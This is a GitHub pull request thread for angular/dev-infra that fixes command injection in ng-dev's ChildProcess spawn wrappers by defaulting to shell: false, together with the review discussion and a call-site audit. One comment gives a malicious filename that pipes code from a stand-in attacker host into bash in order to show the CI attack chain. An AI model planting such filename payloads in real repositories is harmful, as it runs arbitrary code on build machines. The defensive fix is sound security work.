fix(ng-dev): prevent OS command injection in ChildProcess wrappers by herdiyana256 · Pull Request #3601 · angular/dev-infra

herdiyana256 · 2026-04-11T03:29:13Z

fix(ng-dev): use shell: false in ChildProcess spawn wrappers

The spawn and spawnSync wrappers in ng-dev/utils/child-process.ts were using shell: true when invoking child processes.

While the public SpawnOptions interface already intentionally omits the shell option (via Omit<_SpawnOptions, 'shell' | 'stdio'>),the internal implementation was hardcoding shell: true.

With shell: true, Node.js internally joins the command andarguments array into a single string before passing it to /bin/sh,which can lead to unintended shell evaluation of argument values.

Switching to shell: false ensures arguments are passed directly to the OS via execve(), which is the safer and more predictable behavior, consistent with the API's original intent.

google-cla · 2026-04-11T03:29:24Z

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).

View this failed invocation of the CLA check for more information.

For the most up to date status, view the checks section at the bottom of the pull request.

The ChildProcess.spawn and ChildProcess.spawnSync wrappers previously used `shell: true`, which causes Node.js to internally concatenate the command + args array into a single string and pass it to `/bin/sh -c`. This means any argument containing shell metacharacters (e.g. a file named `src/foo;curl attacker.com|bash;#.ts`) resulting from a malicious Pull Request is directly executed by the shell in CI/CD contexts. The attack chain is concrete: 1. `ng-dev format changed` calls `git diff --name-only` -> attacker controls filenames. 2. `runFormatterInParallel` builds: `[spawnCmd, ...spawnArgs] = [...command.split(' '), file]` 3. `ChildProcess.spawn(spawnCmd, spawnArgs, ...)` with `shell: true` evaluates the injected filename as an arbitrary shell command on the CI runner. Fix: change `shell: true` to `shell: false` in both `spawn` and `spawnSync`. With `shell: false`, args are passed directly to `execve` as an array, completely bypassing shell interpretation and neutralizing the injection.

gemini-code-assist

Code Review

This pull request improves security by disabling shell execution in spawnSync and spawn to prevent command injection and adds a warning log to the exec method. Feedback indicates that disabling the shell may break Windows batch file execution and suggests enhancing the exec warning with the command string and a deprecation tag.

gemini-code-assist · 2026-04-11T03:36:36Z

      stdout,
      stderr,
-    } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: true, stdio: 'pipe'});
+    } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: false, stdio: 'pipe'});


Setting shell: false is a significant security improvement. However, please be aware that this change may break the execution of batch files (.cmd, .bat) on Windows, as they require a shell to run. If Windows support is required for this tool, you might need to use a library like cross-spawn or explicitly handle the command path for Windows.

Addressed in the follow-up commit. Added a comment to both spawn and spawnSync
clarifying that ng-dev targets Linux/macOS CI environments only, so .cmd/.bat
compatibility on Windows is not a concern here.

This is actually not specifically true, the expectation is that ng-dev works on windows as well.

Hi, Thanks for the clarification, @josephperrott! You're right .. I've removed
the Linux/macOS-only assumption from the comments.

Regarding Windows compatibility: the commands spawned here (e.g., prettier,
clang-format) are resolved as npm binaries via PATH, not as .cmd/.bat files
directly. Node.js resolves these correctly with shell: false on Windows when
invoked via their full executable path.

That said, if there are specific ng-dev commands that rely on .cmd/.bat
execution on Windows, I'm happy to adopt cross-spawn as a drop-in replacement
— it handles Windows/Unix differences transparently while keeping shell: false
semantics...

Would you prefer the cross-spawn approach, or is the current fix sufficient??

gemini-code-assist · 2026-04-11T03:36:36Z

   *   rejects on command failure.
   */
  static exec(command: string, options: ExecOptions = {}): Promise<SpawnResult> {
+    Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.');


To help developers identify and migrate away from exec calls, it would be useful to include the command string in the warning message. Additionally, consider marking this method as @deprecated in the JSDoc to provide better visibility in IDEs.

Suggested change

Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.');

Log.warn("ChildProcess.exec is discouraged as it is susceptible to command injection (command: " + command + "). Prefer ChildProcess.spawn with an array of arguments.");

Addressed in the follow-up commit. Updated the Log.warn message to include the
command string for better diagnostics, and added @deprecated JSDoc to the exec()
method for IDE visibility.

alan-agius4 · 2026-04-14T13:42:58Z

   *
   * @returns a Promise resolving with captured stdout and stderr on success. The promise
   *   rejects on command failure.
+   * @deprecated Use ChildProcess.spawn with an explicit args array instead.


I doubt we should deprecate this and also the node.js warning is sufficient and more correct as the deprecation is only when args is specified.

alan-agius4

This will break cases when shell: true is required.

  await ChildProcess.spawn('. ~/.nvm/nvm.sh && nvm install', [], {
    cwd: projectDir,
    mode: 'on-error',
  });

herdiyana256 · 2026-04-14T14:46:53Z

Hi @alan-agius4, thank you for the detailed feedback!

You're absolutely right a blanket shell: false would break legitimate uses like . ~/.nvm/nvm.sh && nvm install that require shell built-in evaluation.

I've updated the approach in the latest commit (2701597): shell is now exposed as an optional boolean on SpawnOptions and SpawnSyncOptions, so callers can explicitly opt in when shell features are genuinely required.

Both spawn() and spawnSync() now use options.shell ?? false, making shell: false the secure default while preserving full backward compatibility. Also removed the @deprecated tag from exec() and simplified the Log.warn per your suggestion.

Let me know if this direction works!

alan-agius4

See comments

alan-agius4 · 2026-04-15T09:07:47Z

   *   rejects on command failure.
   */
  static exec(command: string, options: ExecOptions = {}): Promise<SpawnResult> {
+    Log.warn(


My previous comment was to remove this as there is already a more appropriate warning in node.js.

alan-agius4

Thanks for this.

This change however is not complete as all usages of spawn, spawnAsync and exec needs to be checked and shell: true added when it's required.

You may also want to change args: string[] to allow undefined as this case would be safe when shell: true and node.js will not issue a warning about this.

alan-agius4 · 2026-04-15T09:21:12Z

      commandText,
      options,
-      _spawn(command, args, {...options, env, shell: true, stdio: 'pipe'}),
+      _spawn(command, args, {...options, env, shell: options.shell ?? false, stdio: 'pipe'}),


shell: options.shell ?? false is redudant as it's false by default.

Suggested change

_spawn(command, args, {...options, env, shell: options.shell ?? false, stdio: 'pipe'}),

_spawn(command, args, {...options, env, stdio: 'pipe'}),

alan-agius4 · 2026-04-15T09:21:37Z

      stdout,
      stderr,
-    } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: true, stdio: 'pipe'});
+    } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: options.shell ?? false, stdio: 'pipe'});


shell: options.shell ?? false is redudant as it's false by default.

Suggested change

} = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: options.shell ?? false, stdio: 'pipe'});

} = _spawnSync(command, args, {...options, env, encoding: 'utf8', stdio: 'pipe'});

herdiyana256 · 2026-04-15T14:21:38Z

Hi @alan-agius4, addressed all feedback in the latest commit (2706994):

Removed redundant shell: options.shell ?? false — since false is already Node.js default when shell is omitted, both spawn() and spawnSync() now simply omit the shell key entirely.
Removed Log.warn() from exec() - per your suggestion, Node.js itself handles this adequately.
Full audit of all ChildProcess.spawn/spawnSync/exec call sites across ng-dev/:
- external-commands.ts:206 — . ~/.nvm/nvm.sh && nvm install requires shell built-ins; added explicit shell: true
- repo-directory.ts:13 — fixed pre-existing bug: args were passed as ['rev-parse --show-toplevel'] (single string) instead of ['rev-parse', '--show-toplevel'] (two args). Would have broken with shell: false default.
- All other call sites use plain binary + args arrays — safe with shell: false default

Let me know if anything else needs attention!

Regards

@deprecated

…pers - Add Windows compatibility note to shell:false in spawn and spawnSync (ng-dev targets Linux/macOS CI environments where this is not a concern) - Include command string in exec() deprecation warning for better diagnostics - Add @deprecated JSDoc to ChildProcess.exec for IDE visibility

@deprecated

…pers Address reviewer feedback from alan-agius4 and josephperrott: - Expose shell as an optional boolean on SpawnOptions and SpawnSyncOptions (removed from Omit<>) so callers can explicitly opt-in when shell features are genuinely required (e.g. sourcing shell scripts with '. ~/.nvm/nvm.sh && nvm install'). - Default shell to false via 'options.shell ?? false' in both spawn() and spawnSync(), making the secure behavior the default while preserving backward compatibility for existing shell: true callers. - Remove incorrect Linux/macOS-only comments; ng-dev targets all platforms. - Remove @deprecated tag from exec() per alan-agius4 suggestion. - Simplify Log.warn in exec() to remove the command string.

…pers - Remove `shell: options.shell ?? false` from spawn() and spawnSync() — redundant since false is already Node.js default when shell option is omitted entirely. - Remove Log.warn() from exec() per reviewer suggestion; Node.js itself issues the appropriate deprecation warning when exec() is used with shell expansion. - Audited all ChildProcess.spawn/spawnSync/exec call sites across ng-dev/: - external-commands.ts:206 '. ~/.nvm/nvm.sh && nvm install' → Added explicit shell: true (requires shell built-in dot command and &&) - repo-directory.ts:13 spawnSync('git', ['rev-parse --show-toplevel']) → Fixed incorrectly merged args to ['rev-parse', '--show-toplevel']; with shell: false (now the default), the single-string form would fail because git receives 'rev-parse --show-toplevel' as one literal argument. - All other spawn/spawnSync calls use plain binary + args arrays and are safe with the secure shell: false default. - SpawnOptions.shell remains exposed for callers that genuinely require it.

herdiyana256 · 2026-04-15T16:21:34Z

Thanks @alan-agius4 for the additional fixup commits!

I see you've also extended the fix to branch-manager/main.js .. looks good.

Everything looks complete from my side.

Let me know if there's anything else needed!

…pers

alan-agius4 · 2026-04-15T16:23:22Z

@herdiyana256 that file is generated from the sources.

herdiyana256 force-pushed the fix/ngdev-childprocess-shell-injection branch from 412f2e2 to 26ff17d Compare April 11, 2026 03:33

gemini-code-assist bot reviewed Apr 11, 2026

View reviewed changes

alan-agius4 reviewed Apr 14, 2026

View reviewed changes

alan-agius4 requested changes Apr 14, 2026

View reviewed changes

alan-agius4 requested changes Apr 15, 2026

View reviewed changes

herdiyana256 force-pushed the fix/ngdev-childprocess-shell-injection branch from fd7e38f to 2706994 Compare April 15, 2026 14:18

herdiyana256 added 3 commits April 15, 2026 16:10

alan-agius4 force-pushed the fix/ngdev-childprocess-shell-injection branch from 2706994 to 8e704ac Compare April 15, 2026 16:12

fixup! fix(ng-dev): prevent OS command injection in ChildProcess wrap…

5cbe985

…pers

alan-agius4 force-pushed the fix/ngdev-childprocess-shell-injection branch from 8e704ac to 5cbe985 Compare April 15, 2026 16:22

	Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.');
	Log.warn("ChildProcess.exec is discouraged as it is susceptible to command injection (command: " + command + "). Prefer ChildProcess.spawn with an array of arguments.");

	_spawn(command, args, {...options, env, shell: options.shell ?? false, stdio: 'pipe'}),
	_spawn(command, args, {...options, env, stdio: 'pipe'}),

	} = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: options.shell ?? false, stdio: 'pipe'});
	} = _spawnSync(command, args, {...options, env, encoding: 'utf8', stdio: 'pipe'});

Conversation

herdiyana256 commented Apr 11, 2026

Uh oh!

google-cla bot commented Apr 11, 2026

Uh oh!

gemini-code-assist bot left a comment

Choose a reason for hiding this comment

Code Review

Uh oh!

gemini-code-assist bot Apr 11, 2026

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Apr 11, 2026

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

alan-agius4 left a comment

Choose a reason for hiding this comment

Uh oh!

herdiyana256 commented Apr 14, 2026

Uh oh!

alan-agius4 left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

alan-agius4 left a comment • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

herdiyana256 commented Apr 15, 2026

Uh oh!

herdiyana256 commented Apr 15, 2026

Uh oh!

alan-agius4 commented Apr 15, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

alan-agius4 left a comment •

edited

Loading

alan-agius4 left a comment •

edited

Loading